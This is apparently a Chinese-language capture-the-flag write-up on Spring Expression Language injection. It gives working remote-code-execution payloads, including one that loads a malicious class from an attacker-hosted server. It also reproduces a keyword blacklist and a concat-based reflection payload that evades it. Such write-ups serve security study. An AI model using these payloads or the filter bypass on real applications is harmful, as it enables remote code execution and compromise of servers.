[spel表达式注入及绕过]DAS*HD-Impossible_unser

发布于 15 天前  99 次阅读


DASCTF-Impossibleuns

前置知识:Spel表达式注入

注入点(payload):

ExpressionParser parser = new SpelExpressionParser(); //创建spel解析器
Expression exp = parser.parseExpression(payload); //解析payload为表达式
exp.getValue(); //获取表达式的值(代码执行在这一步发生)

注入相关语法
#:获取一个已定义的变量,如#number
T()引用括号内的类的静态方法,如T(Runtime).getRuntime()

由此可得注入的payload可以是:
1.利用ProcessBuilder RCE

new ProcessBuilder("cmd","/c calc").start()

2.利用Runtime RCE

T(Runtime).getRuntime().exec("calc")

3.利用ScriptEngine RCE

new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")

4.利用URLClassLoader远程加载恶意类
在vps上托管恶意类,然后注入

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ip:prot/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance()

WP

IndexController定义了三个路由:
image_mak
看一下/ctf路由使用的处理函数:
image_mak
传入post参数payload并对其进行黑名单过滤后,对其进行spel表达式解析
看一下mySecurityWaf的过滤函数发现过滤了这些:

"java.lang", "Runtime", "org.springframework", "javax.naming", "Process", "ScriptEngineManager", "+", "replace", "JavaWrapper", "System"

这里可以利用反射,在spel表达式语法中,对象.class可以获得该对象的class,并且可以直接使用对象的class方法进行forName构造类
如:

"".class.forName("java.lang.Runtime")

这样我们要用的类就变成字符串表示了,用+和concat进行拼接就能绕过黑名单
这里+被ban了,使用concat来连接字符串

"".class.forName("java.lang.Ru".concat("ntime"))

由于ScriptEngine RCE的方法中ScriptEngineManager可以直接无参new出来(即可以使用newInstance()),因此使用这个方法进行注入,全绕干净了
payload

"".class.forName("javax.script.Scrip".concat("tEngineManager")).newInstance().getEngineByName('js').eval("java.la".concat("ng.Run").concat("time.getR").concat("untime().exec('calc')"))
A web ctfer from 0RAYS
最后更新于 2024-09-04